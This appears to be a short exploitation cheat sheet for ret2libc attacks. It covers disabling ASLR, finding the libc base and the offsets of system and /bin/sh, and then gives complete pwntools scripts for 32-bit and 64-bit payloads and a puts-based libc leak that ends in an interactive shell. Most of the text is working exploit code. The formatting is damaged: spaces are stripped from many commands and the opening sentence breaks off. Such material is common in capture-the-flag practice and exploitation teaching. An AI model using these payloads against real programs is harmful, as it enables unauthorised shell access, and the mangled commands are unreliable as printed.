ret2libc (return-to-libc) allows an attacker to redirect the program's flow of execution from the current function to a function in a shared library, sucy as libc, the standard C library. The goal of
1. ASLR Bypass
First check the ASLR in the machine.
cat/proc/sys/kernel/randomize_va_space
If we get "2" as the result, the machine randomizes the address space so we cannot find the address of the system function. That’s why we need to bypass ASLR to find the address of the function in libc.
To disable ASLR, run the following command if we can (because it requires sudo).
echo0|sudotee/proc/sys/kernel/randomize_va_space
2. Find libc in the Binary
ldd./example# Result exampleslinux-vdso.so.1 (0x00007ffff7ffa000)libc.so.6 =>/lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)
For instance, we found the libc.so.6 and the base address of libc is 0x00007ffff79e2000.
3. Find the Location of libc
# -s: Display the symbolsreadelf-s/lib/x86_64-linux-gnu/libc.so.6|grepsystem# Result1403:000000000004f55045FUNCWEAKDEFAULT13system@@GLIBC_2.2.5
4. Find the Location of /bin/sh
# -a: All scan# -t x: Print the location of the string in hex (x) strings-a-tx/lib/x86_64-linux-gnu/libc.so.6|grep/bin/sh# Result1b3e1a/bin/sh
5. Craft Payload
Replace the values of libc_base, system, binsh with the values which we found in the previous sections.
32-bit
from pwn import*p =process('./example')libc_base =0xf7dc2000system = libc_base +0x4f550binsh = libc_base +0x1b3e1apayload =b'A'*76# The paddingpayload +=p32(system)# Location of systempayload +=p32(0x0)# return pointer - not important once we get the shellpayload +=p32(binsh)# pointer to command: /bin/shp.clean()p.sendline(payload)p.interactive()
64-bit
In 64-bit, we need to find the address of pop rdi ; ret.
Get POP RDI using Pwntools
We can easily do that using ROP method of pwntools as below.
from pwn import*p =process('./example')libc_base =0x7ffff7de2000system = libc_base +0x4f550binsh = libc_base +0x1b3e1arop =ROP(exe)POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]payload =b'A'*72# The padding# payload += p64(0x400556) # Extra paddingspayload +=p64(POP_RDI)# gadget -> pop rdi; retpayload +=p64(binsh)# pointer to command: /bin/shpayload +=p64(system)# Location of systempayload +=p64(0x0)# return pointer - not important once we get the shell# If we need to input in multiple prompts, # p.clean()# p.sendline("1") e.g. "Select the menu:"p.clean()p.sendline(payload)p.interactive()
6. Optional: Leaking libc Address
If we need to find libc address dynamically, we may be able to leak the address by
exe ="./example"elf = context.binary =ELF(exe)libc = elf.libcconn =process(elf)# conn = remote("10.0.0.1", "1234")# Find gadgetsrop =ROP(exe)POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]GOT_FUNC = elf.got['puts']# e.g. desired function is `puts`PLT_PUTS = elf.plt['puts']SYM_FUNC = elf.sym['main']# specific function name in which the payload is executed e.g. `main`.padding =0x12# Send gadgetspayload =b"A"* paddingpayload +=p64(POP_RDI)payload +=p64(GOT_FUNC)payload +=p64(PLT_PUTS)payload +=p64(SYM_FUNC)conn.sendlineafter(b">", payload)# Extract leaked libc addressleaked_line = conn.recvline()leaked_libc =unpack(leaked_line.ljust(8, '\x00'))print("Leaked libc address: ", hex(leaked_libc))# Get the system and /bin/sh addresseslibc_base = leaked_libc - libc.sym['puts']system = libc_base + libc.sym['system']binsh = libc_base +next(libc.search(b'/bin/sh'))# Send the final payloadpayload =b"A"* paddingpayload +=p64(POP_RDI)payload +=p64(binsh)payload +=p64(system)conn.sendlineafter(b">", payload)conn.interactive()